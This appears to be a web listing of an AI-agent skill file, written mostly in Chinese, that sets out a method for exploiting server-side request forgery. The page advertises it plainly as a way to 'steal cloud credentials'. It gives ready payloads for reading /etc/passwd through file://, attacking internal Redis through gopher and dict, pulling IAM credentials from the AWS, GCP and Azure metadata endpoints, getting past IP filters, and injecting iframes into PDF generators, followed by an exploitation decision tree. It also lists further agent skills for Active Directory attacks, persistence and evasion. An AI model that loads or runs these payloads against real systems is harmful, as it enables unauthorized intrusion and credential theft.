ssrf-methodology

$npx mdskill add wgpsec/AboutSecurity/ssrf-methodology

Bypass internal network filters to steal cloud credentials.

  • Detects SSRF vulnerabilities in URL preview and webhook endpoints.
  • Integrates with file read, gopher, and cloud metadata APIs.
  • Executes protocol-specific payloads to access restricted services.
  • Outputs bypass techniques and credential paths directly to logs.

SKILL.md

.github/skills/ssrf-methodologyView on GitHub ↗
---
name: ssrf-methodology
description: "服务端请求伪造(SSRF)的检测与利用方法论。当目标有 URL 获取/预览/导入功能、PDF 生成、Webhook、远程图片加载、RSS 导入时使用。包含 IP 过滤绕过大全、协议利用(file/gopher/dict)、云元数据窃取、内网服务探测。即使参数名看起来无害(如 src、callback、next),只要涉及服务端发起请求的场景都应加载此 skill。"
metadata:
  tags: "ssrf,server-side request forgery,internal-network,file-read,gopher,metadata,ip-bypass,cloud-metadata,webhook,gopherus"
  category: "exploit"
---

# SSRF 攻击方法论

## 深入参考

- IP 过滤绕过完整列表、云元数据路径、协议利用详细命令 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
- 云 SSRF 进阶(容器/Serverless 凭据/K8s 横向/绕过技术) → [references/cloud-ssrf.md](references/cloud-ssrf.md)
- Gopher 协议 payload 生成与实战组合链 → [references/gopherus-payloads.md](references/gopherus-payloads.md)

---

## Phase 1: 发现 SSRF 入口

**参数名线索**(高度可疑):
`url`, `uri`, `path`, `src`, `dest`, `redirect`, `callback`, `next`, `data`, `reference`, `site`, `html`, `imageUrl`, `feed`, `target`, `proxy`, `link`

**功能线索**:URL 预览、PDF/图片生成(wkhtmltopdf, puppeteer)、Webhook、远程图片获取、RSS 导入

## Phase 2: 基础 SSRF 验证

```
url=http://127.0.0.1/
url=http://localhost/
url=http://127.0.0.1:PORT/
```

响应差异判断:内容变化 → 有回显 SSRF | 只有状态码 → 半盲 | 无差异 → 全盲

**陷阱**:应用可能过滤 `127.0.0.1` 但放行变体 → 需要绕过([references/ssrf-bypass.md](references/ssrf-bypass.md))

## Phase 3: 协议利用速查

```
url=file:///etc/passwd       # 文件读取(最高价值)
url=file:///flag.txt
url=gopher://127.0.0.1:6379/ # 攻击内部 Redis(⚠️ PHP curl 可用, Python requests 不可用)
url=dict://127.0.0.1:6379/info
```

## Phase 4: 云元数据速查

```
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
http://metadata.google.internal/computeMetadata/v1/                 # GCP (需 Header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01     # Azure (需 Header)
```

## Phase 5: 利用决策树

```
SSRF 入口确认
├─ 有回显? → 直接读内容/探测端口
│  ├─ file:// 可用? → 读取敏感文件(/etc/passwd, /flag.txt, /app/config.py)
│  ├─ 云环境? → 查询元数据获取凭据 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
│  └─ 内网服务? → 探测 Redis/ES/MongoDB → gopher 利用
├─ 半盲/全盲?
│  ├─ 端口扫描 → 状态码/响应时间差异
│  └─ 外带 → DNS 外带 / 延时差异
├─ IP 过滤? → 编码绕过 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
└─ 协议限制? → 检查 HTTP-only vs 全协议
```

## 协议与库限制

不同实现支持的协议不同,不是所有 SSRF 都支持所有协议:

| 库/环境 | file:// | gopher:// | dict:// |
|---------|---------|-----------|---------|
| PHP curl | ✅ | ✅ | ✅ |
| Python requests | ❌ | ❌ | ❌ |
| Python urllib | ✅ | ❌ | ❌ |
| Java URLConnection | ✅ | ❌ | ❌ |
| Node.js fetch | ❌ | ❌ | ❌ |

**IP 短格式绕过**:`127.1`、`127.0.1`(省略 0)

## 注意事项

- **file:// 是最高价值协议**:直接读取服务器文件
- **Gopher 陷阱**:PHP curl 支持 gopher,Python requests 不支持
- **SSRF 和 XXE 经常组合**:XXE 中的 SYSTEM 就是 SSRF
- **PDF 生成器 SSRF**:wkhtmltopdf/puppeteer 生成 PDF 时会加载外部资源,注入 `<iframe src="file:///etc/passwd">` 或 `<img src="http://127.0.0.1/">`

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|